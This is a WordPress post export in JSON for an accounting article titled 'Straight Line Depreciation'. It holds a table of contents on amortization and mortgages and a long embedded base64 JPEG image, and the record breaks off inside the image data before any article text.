{"id":24570,"date":"2020-11-13T17:43:45","date_gmt":"2020-11-13T12:13:45","guid":{"rendered":"http:\/\/www.kirandhara.com\/?p=24570"},"modified":"2021-06-03T03:36:25","modified_gmt":"2021-06-02T22:06:25","slug":"straight-line-depreciation","status":"publish","type":"post","link":"https:\/\/kirandhara.com\/?p=24570","title":{"rendered":"Straight Line Depreciation"},"content":{"rendered":"<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Business Plan<\/a><\/li>\n<li><a href=\"#toc-1\">Example Of Amortization Formula<\/a><\/li>\n<li><a href=\"#toc-2\">A Note About Amortization In The Uk<\/a><\/li>\n<li><a href=\"#toc-3\">Mortgage<\/a><\/li>\n<li><a href=\"#toc-4\">What Is Effective Interest Rate Method Ind As?<\/a><\/li>\n<\/ul>\n<\/div>\n<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD\/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD\/wAARCAE5AYYDASIAAhEBAxEB\/8QAHQABAAICAwEBAAAAAAAAAAAAAAUHBAYBAwkIAv\/EAGMQAAAFAQQDCQgPAwgEDAcBAAABAgMEBQYHERITIdIIFBcxUVRXlJUVGCJBVpKT0xYyNDZTVWF0gpGhsrPR1CM1cUJSc3WBo6W0JDNysSY3Q0ZiZXaDhaKkwQklJ0VjhMTw\/8QAGgEBAAMBAQEAAAAAAAAAAAAAAAEDBAIGBf\/EAD8RAAIBAgEJBQYEAwkBAQAAAAABAgMRBAUSEyFRUpGh0QYUMUFxFlNhgbHhFZKi0iJDwSMyQkRUYoLw8XKy\/9oADAMBAAIRAxEAPwD1Fq1Og1emSqTU2EPQ5jDkeQ0v2rja0mlST+QyMyFSJ3Ie55yl\/wAAzPUWvupN1\/3wta0pf8Hap8yf\/DUI3esbm7XmENFDF18LfQzcb7G19CirhaNe2lgn6pP6led6HuefIL\/FZvrg70Pc8+QX+KzfXCw96xubteYQb1jc3a8who\/Fcd76f5n1Kfw7Ce6j+VdCvO9D3PPkF\/is31wd6HuefIL\/ABWb64WHvWNzdrzCDesbm7XmEH4rjvfT\/M+o\/DcJ7qP5V0K870Pc8+QX+KzfXB3oe558gv8AFZvrhYe9Y3N2vMIN6xubteYQfiuO99P8z6j8Ownuo\/lXQrzvQ9zz5Bf4rN9cHeh7nnyC\/wAVm+uFh71jc3a8wg3rG5u15hB+K4730\/zPqPw7Ce6j+VdCvO9D3PPkF\/is31w4Pch7nnHVYQy\/8VmetFib1jc3a8wg3rG5u15hCPxXHe+n+Z9R+HYT3UeC6E1TYcKlU+NTIDKGY0RpDDLSfaobSRElJfIRERDJzp5Rrm9Y3N2vMIN6xubteYQwePibUrajY86eUM6eUa5vWNzdrzCDesbm7XmEANjzp5Qzp5Rrm9Y3N2vMIN6xubteYQA2POnlDOnlGub1jc3a8wg3rG5u15hADY86eUM6eUa5vWNzdrzCDesbm7XmEANjzp5Qzp5Rrm9Y3N2vMIN6xubteYQA2POnlDOnlGub1jc3a8wg3rG5u15hADY86eUM6eUa5vWNzdrzCDesbm7XmEANjzp5Qzp5Rrm9Y3N2vMIN6xubteYQA2POnlDOnlGub1jc3a8wg3rG5u15hADY86eUM6eUa5vWNzdrzCDesbm7XmEANjzp5Qzp5Rrm9Y3N2vMIN6xubteYQA2POnlDOnlGub1jc3a8wg3rG5u15hADY86eUM6eUa5vWNzdrzCDesbm7XmEANjzp5Qzp5Rrm9Y3N2vMIN6xubteYQA2POnlDOnlGub1jc3a8wg3rG5u15hADY86eUM6eUa5vWNzdrzCDesbm7XmEANjzp5RyR46yGtnFjYe52vMITFJSlETKhJJIlqwIiwLjMAZoAAAjLTe92qfMn\/w1DCGbab3u1T5k\/8AhqGEAGvxDR7MX1XcWvtNaaxtHq81qs2OS25WotSpE2nb2adNwm3SVKabS42rRLNK0GpKiIlEZkeI3V43SaWbDaHHCIzQhajSlSvERmRGZFyngf8AA+IfJdstyxe3ebLvNtlaqoWRpFYtquzJRKHDmyahT1x6Q+bymJkhbDC1pkGpSVElnBJGWpesjA+pY9pbOS40KZFtBTXo9Sc0MJ1uW2pElzAzytqI8FngR6ixPUfIOpdsLJNtJfctTSENrN4krVOaIlGyeD2Bmr+QepX80+PAfMFO3Kd59ETGtTRisTAqkW89q3bNlYk+Q3RYcYoJxFxmH0xSXnVibhrKOlJq8RcY\/dg9yHa2n167KoW\/TY6rQLI1m2VUq0IzclNvFV31PRSaQ6wSVqbNRZjXlyqLwTVxgD6gh2ns1UJqabBtFS5EtSnUlHamNqcNTR4OllI8cUHqUXiPUeA162F71hbH2JtXbt2rtVaFYynSanVY9JeakSW22W1OKSSM5ESzJCsCUpJGfjIULYzciWostbegW5xsgiqU68+0lrpc+OTm+nqTUGJKI8fSaFKlrQp9s1tqUTZZVZVqPjr+DuIr+JL1sJ9oLQ2DRMtFd\/aCyGNN0USO7JmqbVGd0EWmRzbZSSTJZOLkrSetKlYqIAfbdJtHS6xZmFa5t3etOnQWqglck0t6JpxsllnPEyTgR69eHyj8ey2yu8Y1TO01KKHMStUaQcxsm3koSalmhWOCiSlKlGZcREZnqIVFfPcHaq87c50m6GkWoi0qsUtujuqdMyVElLhKbUplzO04RtrNv+U0ssSSam1lig6yu43GNoKHMscVr2LP1ClUu2lVtRVqVOnN1Jk0S6ScVKGEt02GwX7cidNsmG0pxNRKNWoAfR82+K6+nWyoV30y29Mar9poTlQpUQ3DMpUdC0ozocItHrUtJJSaiUrXlJWBiZi2xsjOXHbh2opL65aybYS3OaWpxR58EpwPWZ6Nzi\/mL\/mnh8wXabkS2VgKlc1W51OsJXJNgafW6RVkvvOt5GJlRKTGkQ3DirNbkdBKJLaibIjWokrTjmOFtPubq7dFuNkRaTRafKvQsXVGrT0uZZ+A5JdmVBmouOxm1ZW0uukbT62VZiwSlxZ+1LEwPsE7QUAoMuqHW6eUOAtxuXIOSgmo62zwWlxeOCDSeoyMyMvGOuTaizMNMhUu0VMZKGhl2QbkttOhQ6eDSl4n4JLPUkz9seosRWd2lxEShbm1FytqnVSZVdo01q0ckzJapE+oEtyc7j48XnnTSfHhgKCsnuIb249WsfWbaW0s3UZEqo0528Ntt2S41UoVIVGOkNRSW0WZRb1LS58hYvuYGoAfZyK\/Ql1RyhorUA6ky0T7sMpKNO22fEtTeOYk\/KZYDTrW342AslPsfT11BVXVbauR6BT3KU4zIQ0++y86248rSFlaNMdwsySUZnhgR6zKiqZuRrcw7z41olybIphwLd1W2pWnQp72QTmpbLqE0x5OhJJMpN0kmvTKI0tpIm0nrOJd3DdqV3A3RXTwbQUSzVesfWY9QtNXqCtTUiQ2mLMYNcV04+Zx4t9Jym6lGBEo8yTIgB9ZPW0sdHiM1B+1lGRFkPKjsvHPaJDrqVGk0JUasDURkZZeMj1GNeslfNYu2Fr7VWJhvOwqlZSsJobyZq2mymyDjNycYxEs1OJJt5GOJEZHjqwLEfLNrtxVe3aCyd3tNpibvqZaSxNAXZxuqMyzcpxsm8Z6ZymSqbIZfU4hKHFkSmF6VS8XVpymNvq+4\/tVVLaVq25OWQOrTbz6BbGHUFpWmSzTIceM3IYzEyZocWpleDaVG2ZGWZZa8APqSPWqNLqkiiRavCeqMVBOPxESEKeaQeGClII8ySPEsDMtY1m2l8t1t3lkKxb611tqdFoNAWlqpSmFnKOO4pRJJtSGSWs1mZkWUkmrx4YEY+WbK7ha8Sj3gzq1Ot+lUZx60zkOux6kyzPJFVYkNlp46Kal59ban21kblRWnFojShOBJKBp3\/w97fOXYW4sTWa7QE1Su2SiWdgy0TGXIbz0aQh5iQ5Gj0qKplZGTidItyU6ROHitWBGYH3bTKpTq1T2KrSJ0ebDlJzsyI7hONuJ5UqSZkf9hjKEJYimzKPZClUyfZ2h0GTGjpbdptEfN6DHVr8FlZssmpPGeJtIPE+LiM5sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcHxCVpfub6avvGIo+IStL9zfTV94wBmAAACMtN73ap8yf8Aw1DCGbab3u1T5k\/+GoYQAAA0eXecxIvMi3Y2YpCq1KioOXaKY2+SGKGwpszYS6eB55DqzRlY1KJvO4o0kSM4G8AAAAA4UrKk1HxFrP5C8ZiNs7aSi2spSK3Z6cUyC468yh5KFJStTTqml4ZiIzLOhREotSiLEjMjIzAyajUoFIiLnVOUiNHbNJKcWeosTIi+0yEUdvLHE+UZVpIBOm6TGTTFjpNPoMv8dNij+Ijb30xFXZ2h34TJtlEPHTEzk9sWGOmUhvjIuNRa8MMTIiOzUtN4f6tP1DtKKipPz+xXeTlmr4FfcJNg97779ldO0Wi02fTFhk0TbuP8NG62r+CiHaq31i0OqZVaWAS0OG0pOlLElkt5Bl\/HNGfL+LauQbLWrT0Cz8mPFqpvNqlY6NSIbrrZYLQgzWtCTS2WZ1GtZpLWZ+JWEwTTRljo0\/UGdDZzFp7TS6Va2zVbkFEpNZjS3lI0hIZWSjykhpZmfyZZDJ\/wcT8uEuNbqqIqb4mfBZJ72Nqyams+XfRZsMVaTLjlxypNGOXMaT0ZK2QJpK1iYNu6YAAHB2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDVe0aKFUobFRjKbp0zBop2bwGnzPwUOFh4JK1YLxwx1HhiRnMAAfEJWl+5vpq+8Yij4hK0v3N9NX3jAGYAAAIy03vdqnzJ\/8ADUMIZtpve7VPmT\/4ahhAB\/AaNIuzKHebFvLspWl0Z2Y2ca0sBEdK49baS2ZMOLLEtHJaVkInyxUbZaNRKSSMm7OutsNLfdVlQ2k1qPDHAiLEz1DqTNRhrh1D+yA\/sADIAdG\/W+Z1HqD2wG\/W+Z1HqD2wAO\/Ueoy1CPodGYocN6Gw6txL02XNM14Ykp99byi\/gRuGRfIRDJ363zOo9Qe2A363zOo9Qe2BK8Qa3eml87va9vY5Gl3mrLvfT6TjLHAmP2mGHHh4uPViLJRxf\/7lFV3tSI8i7qux3IcsydjaNKXoJkhSjWkkkemaWjHHDDFJ6+LA8DLeU22slpt6+yCHpdNvfJpNel3xvfJ\/HTeB\/tah2k3TVv8AupFSklN32IxrSWWqFeq9HmoqjTUSlPnJXDejm41JdxSbbisq0HmbMlGglZkEpRLNJqQg0bKnEiLEa9wh2H3tvv2UQNDotNn0urJoW3s38NG80v8Agsj8Y7l24si26phdoYROIcNlSTc1kslvINP8c0aQX8Wlcg5zJbDvPjtNcqpPcLCTLTaH2PESsNNo82+Ty5sP2WbDNhn8PDNk1aQT402TXKLU712KjTnymoVZ5TSHYzROnrdYdMiytm5hkfjqPKtKf2jeZKjyGjat+t80qPUH9gdVFa3p1OINNuxkAOjfrfM6j1B7YDfrfM6j1B7YFZad4Do363zOo9Qe2A363zOo9Qe2AB3gOjfrfM6j1B7YDfrfM6j1B7YAHeA6N+t8zqPUHtgN+t8zqPUHtgAd4Do363zOo9Qe2A363zOo9Qe2AB3gOjfrfM6j1B7YDfrfM6j1B7YAHeA6N+t8zqPUHtgN+t8zqPUHtgAd4Do363zOo9Qe2A363zOo9Qe2AB3gOjfrfM6j1B7YDfrfM6j1B7YAHeA6N+t8zqPUHtgN+t8zqPUHtgAd4Do363zOo9Qe2A363zOo9Qe2AB3gOjfrfM6j1B7YDfrfM6j1B7YAHeA6N+t8zqPUHtgN+t8zqPUHtgAd4Do363zOo9Qe2A363zOo9Qe2AB3gOjfrfM6j1B7YDfrfM6j1B7YAEZWbOd3qnDdqMw10yGWlODk8B58j8FTh\/wApKSwMkYYY6zxwSJodDUtt17Q6OQ2o0moidjuN4kRkR4Zkljxl9Y7wBwfEJWl+5vpq+8Yij4hK0v3N9NX3jAGYAAAIy03vdqnzJ\/8ADUMIZtpve7VPmT\/4ahhADEq37qm\/N3PumNqLiGq1b91Tfm7n3TG0OJztKRj7ZJl9gA\/WJcoYlyj54doO6GsvZNFPs6tblScTDefkU+FEkYoOGbLjSGZkxtvTIkJS846p0kuJUnKSjJaD2arTL7CZqbFOpdeXKi1Z5LT7LlIJmVDeTJ3spgnFZiQxpIum0xIcM2laPSliTgFxDjjFKXg0W+Go2LqdHbbm1Z6tNVenvRoKoDSWUutqRFVi9kPe5EZ58FKfzKRgRkSsJ231AtfWbRR2qS3UnKbMjwcymHoxR4bsec28txaXTzKWpszyZErLFo8xJxTmAsxaEr9sGVB6xUjKL92LyKOxMmLcss49K3ypqDBWaW0Py8hyHFPtuNk4yqFl0DLp521Z9GRmasO1ki\/9NatL7GGZXcyIuK\/S8YlOWuQnM2brUdK5SNMepZGchUXLmMk6XFK0wRZFzGkgwIUxHlX8QobzdSg1ypyY5QZanIiaOymW2TUcn4zLbjh6OVpUSFK0izYJLhkh0zyaPITTb+49m3nHaycusEhto0NlDS0pJUxvO43mbL9qcwnMpOeBirWkm+JYWRb+RBmWP8R+8S5SFVWFs7a6FYaMzVKE7GqEm1FQqzsWYuK+8zHkVF99Oc2zU0ThNupx0ajIlYklR4YiGnUi\/tpmlSY9RkyqqmmvRiddVDKPHnPQGcr0lCCQTjDcppzMSCW5i6WUlJ9qJtYu8cYlyilKNG3QlRsjUZk2tyqfWzgyyhR5lNprRIkGtOiNxth6QhRpSlZowfJJ506QiPihGWd0rU6adPqRVg0TaPUnZClRqRTnGZJrl72YQtmXIPTYKjJJJfs8EE4qQlWdlUg+hsS5RyKkvDrd6iqhZinWEpFcZfq9In6fM3TlNU2ZjE0D09TizI22zW+S0xlLUrwsqVkRGUC7Vd0gUivy3oTVPZOpwoVFhuMRXCUh1clh51K2VuKW00TkWQS3UtKUTK0G2jFWIF8BiXKKelUu\/Y6o3Ji114orc+Uo45IgaNbBVaPoC1t5sDgb5I8FY4n4nMpiGjw903NbqUabW3I7sdUlqMtin0xlt0yiS9EttSnXzW0b64hFpG2Vlo\/CTlNeIF9YlykGJcorOkxbyItjrTU9TU5uut1Cc\/TZMl6MtD7Trput6DWokklDmiIn0kSVo4jbJKldFmmr5JCiqdakzIyFvRXGqe+mCpxthdQkG82+pkjLStwzjpM21mnMjwVLM1KUBaeJFxmQYlyinKjQ7wXbxKs3TqFU47L9cp1WgWhXNjqgtwm48ZqRCNknt8KNzJIIkGzoiNwnSWS0pGFZJ7dDMJpy7YtVGfjNehTUxolKiOI8CMlmXqkOJXDxRMUrKaZJm6jBlJFgQF4YlyhiXHiKJsjT90quzVRZtdaSQVaYhS2mXkU+mMIemoZjoZcbJLjxKZW4UhaTcSyrWZLaQRJSO2bR75Ylv482ms1CRvsmojlWcXTyitQmaq48aJKSwexXDXo0Gw2Z51YuGjA1kBeOJcoYlyim7tWb95NRpq7xKhKTFjlPRNxg0+OT7iUQkxzQTLz6lNLUUxZKM2nMVYLQ2WQhLVyn2gn21rJpsnX00duhy2nZMKosxlVV55tokojOIlJeadQTakpNaWEoUpS0u4qxICzsSPiHI0W6N61kSwVmqRa+zVWp1QhUWMxOXUp0eS+cpstGvMtp13OasmkJec8UrLNgrMkt5AHIAAAAAAAAAAAAAAAAAAAAAAAAAhqz+8of9A\/95sdA76z+8of9A\/8AebHQAOD4hK0v3N9NX3jEUfEJWl+5vpq+8YAzAAABGWm97tU+ZP8A4ahhDNtN73ap8yf\/AA1DCAGJVv3VN+bufdMbUXENVq37qm\/N3PumNqLiAAyI+MiDAuQcgAOMC48AwLkHIAAOByAA4wI+MiDAuQhyAA4MiPjIjDAuQcgAOMC5AwLDDAsByAA4wLkLUGBcg5AAcYFyBgXIOQAHGBcgYFyDkABxgR8ZBgXIQ5AAcYFyEGBcg5AAcYFyBgXIOQAHGBcg5AAAAAAAAAAAAAAAAAAAAAAAAAAAAENWf3lD\/oH\/ALzY6B31n95Q\/wCgf+82OgAcHxCVpfub6avvGIo+IStL9zfTV94wBmAAACMtN73ap8yf\/DUMIZtpve7VPmT\/AOGoYQAxKt+6pvzdz7pjai4hrFRaW\/T5TLScy3GVpSXKZpPAhLFWiwI+58n+72gBJAI3uyXMJP1t7Qd2i5hJ\/u9oBckgEb3aL4vk\/wB3tB3aT8Xyfrb2gBJAI3u0XMJP93tB3aLmEn+72gFySARvdovi+T9be0HdouYSf7vaAEkAje7Sfi+T9be0HdpPxfJ+tvaAEkAje7Rcwk\/W3tB3aT8Xyfrb2gFySARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tACSARvdpPxfJ+tvaDu0n4vk\/W3tADorP7yh\/wBA\/wDebHQEySqbOYdKK60hppxKjWaeNRoMi1GfiSYADg+IStL9zfTV94xFHxCVpfub6avvGAMwAAARlpve7VPmT\/4ahhDNtN73ap8yf\/DUMIAflxWRCl4GeUsdQrui3yQp8SKuqUdbMl9iO64wxIbdNtbjZuEnwsubFGRSUpI1mS\/a6jFimRHqMsQPXx6\/HrHMlJ\/3XY00KtOCcakM7Z8CvaXfLRpbDKZdLmMTDpBVd5s3GSaabyrM06Za0oI\/2ai8IyIvGZYKwkbU2\/csvXCpy6JIlRW6euoPOsux0rSlJOGZElx1CjMybPDKS9Z68paz3DIn+aWr5BzgXJxahylPwuWOtQ0mcqerZc0Ofe3TqW9NOo0aotNRUtFqNtbi3FSX46iyJUeolMJwPHDwyLUeoTC7dU8rOvWj3hLTHRL3mlLhtJNatPoc2JrypTmx9sZHgXKeA2TAjIyMiwPjA0pMjI0kZKPEyw4xObNPWyHUoO2bTtr2+RVFLvzhzaXTVLp6imGzDdqOZtLLH7aMl5SWluOEX8tBeEeHHifEJNu+eitRn6hNgykw20ktLmRDbmBvyWzSbRrNWKd76z8ZqMzJGsisQ0pPjSR\/2AZEfGWI5UZr\/EWOvhvKlZeppFo7z6bZOty6fVori2GYjMlKo5JU4nMTylZkmrHKRM+2JOBGevjGJDvXZXUXXZsCQinSVMNQElHSl41GhtS1LUp3Wf8ApDJE2lGbwVGWfHBNgmhCjM1JIzMsDxLxcg5wLk+QTaV\/7xyq+HzUtFr83fmahRbzKPXK1T6CzTaixJqVPbqTRvNoJCWXEqUnFRKMscEHqLH\/AHjrevTorEB6prps9Udhp55xTZsuGhLa0IPMlLhqSZqcTqMsSwPMScBueVOObAseUCIi4iIgtO3ic59DOvo9WrVfjxK0fviJ+vRKfSqe5vVdOemPJebSbynSdgk0hKScLKRlMURqUWoyIyxwMj2GzF4tFtJMKlpQqJMKNHkGhxaDQrStpWSW1EZ58CV4uQbUSUkeJEWJeMMC5BKjO92zqdTDyhmqnZ7b\/wDfQDkAHZiswAAAswAAAswAAAswAAAswAAAswAAAswAABAAAC6FmAABF0LAAASLMAACLoWAAAkAAAAAAABwfEJWl+5vpq+8Yij4hK0v3N9NX3jAGYAAAIy03vdqnzJ\/8NQwhm2m97tU+ZP\/AIahhACNtLLfgWcqs6K5o3o8J91teGOVSWzMj+sh81FereKWpVqZB\/8Adt7I+jrZe9Cuf1dJ\/CUPjxVWpeP7yi+mT+Y9R2bo4es6mnSfha553L1avSVPQtrx8DdeFa8Pypkejb2Ri1S+m3FFpkurz7VSSjQmVyHjSygzJCSxPAiTr1ENT7rUv4yi+mT+Ywq13Br1GnUSbVmkMT47kZamn0EtKVpNJmWOJY4H4yMeolg8DZ2hHkedji8Y2k5SNoTui6+Tq49Qt53MkNSkwlR5qmGlm+ptLiUJxLBZmhaFFlM+PlIyLspO6FrVeWw1Rryo012VH34y0y4ypxxjMaNKSSLE0ZiNObDDEsOMVbUrA2Nq1QRVZtpZapBT2Kiv\/SmMq3mjYNs8poMiwKMlJGREeC3NZZtXdZ2xVkLNTolQg2kkOHDZSw2y9LbU34LRNEsyJJeFoyJOJGWOGvHWM0MJQUknShb5GmWJrWbjUlf5lx8K14flTI9G3shwrXh+VEj0beyNJ7rUv4yi+mT+Yd1qX8ZRfTJ\/Ma+5YDcjyMve8bvyJ+VfLec1a2m0xFrXyjSadOkOI0LWtbbsVKDxy4lgTq\/H4\/HgWEvwrXh+VEj0beyKrm1SmHbuiqKoxcCpFSIz0yeM3oWHj+QxO91qV8ZxPTJ\/McwwOBd3mR4I7li8Ykv45G78K14flRI9G3shwrXh+VMj0beyNI7rUr4ziemT+Yd1qV8ZxPTJ\/Md9wwO5HgjjvuM35G78K14flRI9G3shwrXh+VMj0beyNI7rUr4ziemT+Yd1qV8ZxPTJ\/MO4YHcjwQ77jN+Ru\/CteGeorUSderU03siIZ3QFrnXHS9lM5MZhx9pyauOhMdK2f9aRrNPgkkyUWY8E4pMiPEhr\/dalfGcT0yfzGmVawFi61iiXaBxpsnJTzaWZDCTaW+ZqXlcyaTLnUpRJzYYnxaiIU1cDhVZ06UXwLKeLxLf8c5LiWwzf7X5D8aKxeTFcemtE\/GaS\/HNb7ZpNRLQnjUnKRniWrAjHR3xVS3u1LO9Wm6B5lUht3fcbItpJqJSyVxGkjQsjPiLKrHiMVVJu5sHLaU05XpKkupUlw1TGiUo1IlIUZnlxxMprp48pJPlzdvsAsaUd5pdqpji5SGkPLVLaNS0okm\/kXinwiUZ5VEeJKRqPE8TOvudL3MORb3qp72RbtNvvtrVnZTVOtc8\/vRSEOLS2g0nnaQ4k0mReERpcSeJcvGMGBuiq1UorEti8RtBPwU1JLbqmUOJinhg6tBlilOsiNRkRYnh8grugWYs3ZehHQ6LaZ5lBFFSl7fTJuElhptok+1JJkpDREosDI8yuLUI87uLBHTkUtVek6BtskNpKYz4LhQt5k5jkxM9Cf+zm15fEJ7lQSVqUL+fgc97rNtaWXMteXuh6tAc0U69CDGXrPK9JjoPUs2z1H\/00qT\/tEZcY6pe6Oq8RjSneOw+aozc5DbDjLjq461klLqEJ1qQZqIsxFhr4xWiLDWObdcfO0DrjjkhmSpbkhgzztz1zS1EkiwNxZpwL+SRER4+EeCm6+wumjuO2llLKIyTDCVTGT0aPBM0l4GJEZoIzIjIjMz1Y4YQ8HR8qMORKxVX3si9eFe8Pyokejb2Q4Vrw\/KmR6NvZGkd1qV8ZxPTJ\/MO61K+M4npk\/mNKwGCtrhHgih43GX\/vyN34Vrw\/KmR6NvZDhWvD8qZHo29kaR3WpXxnE9Mn8w7rUr4ziemT+YnuGB3I8ER33Gb8jd+Fa8Pyokejb2Q4Vrw\/KmR6NvZGkd1qV8ZxPTJ\/MO61K+M4npk\/mHcMDuR4Id8xm\/I21u928lVTfjnaqRo0MNLSWib1GanCP+T\/ANEhlFeteJj76ZHo29kV41VaX3Ykn3Si4HGYIv2yf57vyjNKr0rEj7pxcP6ZP5iuOAwTT\/s48EdSxmLuv45EnF3StdfiHUJNtpFOiJYKUUiehlhpbRrNGclmWUvCIiMjMjLMnEvCLHtXuka025UGF28MnqW+3GlsGTZONKWtLaVmgyzZMyy8LDDUrkMhWDt31kH4kOG7aiUpNNSlENZTGULZInDWrKaUFrUeUjM8fapwwPEcNXcWHZfbfbtC+ZMrJxpByWCSg9LFcPDBBHgaobWoz4jV8hlm7lT8qUORoWLqedSRcVIvutfX6cxVqLbg5sKQgltPsE0tC0nxGRkWA\/FSvgvKjzKU0zayQlEmWpp0tE2eZJMPLw9rq8JKeLk\/iR6TQk0KgUaHRYlWZWxBZTHaNyQg1ZEllTjhgXEReIdVYqtLOfQzKpRTJM9Zn+2Tq\/0V\/wCUaO4YPMTcI31eSKVi8U5u05W1llcK14nitTI9G3siE74m0qWXpkm2UiJAYU62qoSWm2ouZt3RLLSKIiIyc8Es2GY8cuYiMQfdalF\/9yiemT+Y1l6zNnn4aaV7J3EQG5qKiiMUhjKl1EtEpOB5M2BLRgRZvaqMuQyVMBhNThTjwRFPGYnWp1JFh1DdF1imU+bVZV5Eco1Oc0MhROsHldy5ia4vbmnWSeM9WA4pO6MrlcqKqRT7fEqehDjhxMGyd0aF5FOZTLHLm1Y+P+wxVD92Vg30zElaOYg5Rvlm34ys0JeKSTiU50GRJ\/0x3Ajxw1HxmrNOUCz9lbNzXahT64anH0uJcS7IaNJ53M+rAiMsDNWH8fGKo4Ki5q9KFvkXPF1VF2qSuWFaq+S82mWXrFShWtkNyIkCQ+0vQtqyrS2o0ngacDwMiH10WOBYj4ItxVKYqxVoEpqMUzOly8CJ5PwKvlH3uXFgPOdpaFCjOnoIpXT8PkfcyDWq1Y1HVbeteJyAAPMnoAAAAOD4hK0v3N9NX3jEUfEJWl+5vpq+8YAzAAABGWm97tU+ZP8A4ahhDNtN73ap8yf\/AA1DCAEPbEiOyNbxLHCnST\/t0ahuaWyQk8TI\/wCwaZbH3o1v+rpP4ShK+yismRpVd5aDjw\/19P1\/+pAiyZpM++dyzSe6Fo6exIhS11duIzDNDUgnIc9ERts1PupaVpVOJ\/aKU0hCsCUeCsycybfhRo1Jm1yPZStyoUNiKon0uQWW3ZT5NqTDSp+SgidJDzajUs0smSvBcUZGRZ6YNJQqStNyr5KmKWp9W96Vi6a3CcVn\/wBI8LFws548atfGOsqTQ04Em5F4k6JDGUo1KItGjLkRhvj2qdG3gXEWRPIQXFkYEy\/qzsWrQaemy9oHoc96GyipoajlGQclcdCTUlTxPYJXNhpVg2Z4vlgRkh028ej3+0mXTrPO1iylXp86uuJb3q4uIRtoNphZSdb+KmVHJZIiSSnSz4rbSSVmmd3pTCZaYbuYkpQwbZtJJilYN5FNKRlLfGBGk47BlyGy2Ze0Thjx6NQYiI7cW4xTKIqydZQ3EpKSaWRIIlJIpHgng01rLX+yR\/NLCbiyP1Ubx6idhKXeFS7PLYp8smZT8aoYb5TEcdQknMGVLQgtEtTxqNR5UpJJpzKPJsFl7QS65PtFBnQGIx0SqFAb0TxuaVBxWHyWrFJZVftzI0liRZeMxEvJiSo0KJLufnPs00kJiNuN0xSY5Jwy6NJyMEYZU4YcWUuQsM6LWZsN2S\/Gu1rbbkx0nn1JcpxG64SEoJSjKT4R5EITievBJF4iEXFkV5frYFq8K3F3NBclR47LUufNe0sNqSlxDbbeKNG6RoPMR4YmR4ceGJEN6Tc1c+ZYndVY88dePcOLr\/8AINAvRvCqdnbf2CnqsNPKQ4uoRY0aXUYEffLjiG0khCzfNObHDAjMscxEWJ4kWzFeHeoZEZXA1Y8fH3ep\/rRrenlSh5LXbWl58zJ\/YxqSuteryuTPAzc90U2P7Di7AcDNz3RTY\/sOLsCH4Q71egGr9v071ocId6vQDV+36d60cZlbb+pdTrPo7OT6ExwM3PdFNj+w4uwHAzc90U2P7Di7AhuEO9XoBq\/b9O9aOeEO9XoBq\/b9O9aGZW2\/qXUZ9HZyfQmOBm57opsf2HF2A4Gbnuimx\/YcXYEPwh3q9ANW7fp3rQ4Q71egGrdv071oZlbb+pdRn0tnJ9CY4Gbnuimx\/YcXYDgZue6KbH9hxdgQ\/CHer0A1bt+netHHCHer0A1ft+netDMrbf1LqM+ls5PoTPAzc90U2P7Di7AcDNz3RTY\/sOLsCH4Q71egGr9v071o44Q71egGr9v071oZlbb+pdRn0dnJ9CZ4Gbnuimx\/YcXYDgZue6KbH9hxdgQ\/CHer0A1bt+netDhDvV6Aat2\/TvWhmVtv6l1GfS2cn0JjgZue6KbH9hxdgOBm57opsf2HF2BD8Id6vQDVu36d60OEO9XoBq\/b9O9aGZW2\/qXUZ9LZyfQmOBm57opsf2HF2A4Gbnuimx\/YcXYENwh3q9ANX7fp3rRzwh3q9ANX7fp3rQzK239S6jPpbOT6ExwM3PdFNj+w4uwHAzc90U2P7Di7Ah+EO9XoBq\/b9O9aHCHer0A1bt+netDMrbf1LqM+ls5PoVRaC5mxtX3VVKolKoNDpVIp9kk1aVAZo0dTEvCY40aFNqTkIzJacV5TVgkiIywIyu8rmboMMVXVWQMz4zOhxcfuCkJt5Nq6Xulo1RqN2UiNVZ9j002LSXa3BS68W\/VOaRLhuaM8cqiyY5vBM8MCxFrFeHerhruBq3b1O9aNGI08lBN6rata669ZRQlQTlZa77H01EzwM3PdFNj+w4uwHAzc90U2P7Di7Ah+EO9XoBq\/b9O9aHCHer0A1ft+netGfMrbf1LqX59LZyfQmDuZufw\/4qbH9hxdgU9ulLnLEPUOx1EsnZaz9nZdYthBgqmw6SwhSUrafPwiSks5EaUnlPUZpLEWQd4d6vQDVu3qd60VjfpeLbKPHsTVbT3WSaDFptroMxL0utwTQ8tDb2DWZLhk3iRqPOrBJZTxMsRfhFXjWi4vXfVrT\/qUYmVB0ZKS8tjX9C36fcpdNGgsR5V21k5bzTaW3JDlCiEp1RERGoyS2REZ4Y6iIuQZHAzc90U2P7Di7AhGrx70X20OsXCVRbayzJUVfpxkZcpftR++EO9XoBq3b9O9aKHCtfW\/1LqX51FLUuT6ExwM3PdFNj+w4uwHAzc90U2P7Di7Ah+EO9XoBq\/b9O9aHCHer0A1ft+netDMrbf1LqM+ls5PoRl690l1dPuwthOp92llYsmPQKg6y8zR46HG1pjrNKkqSjFJkZYkZHiRjfS4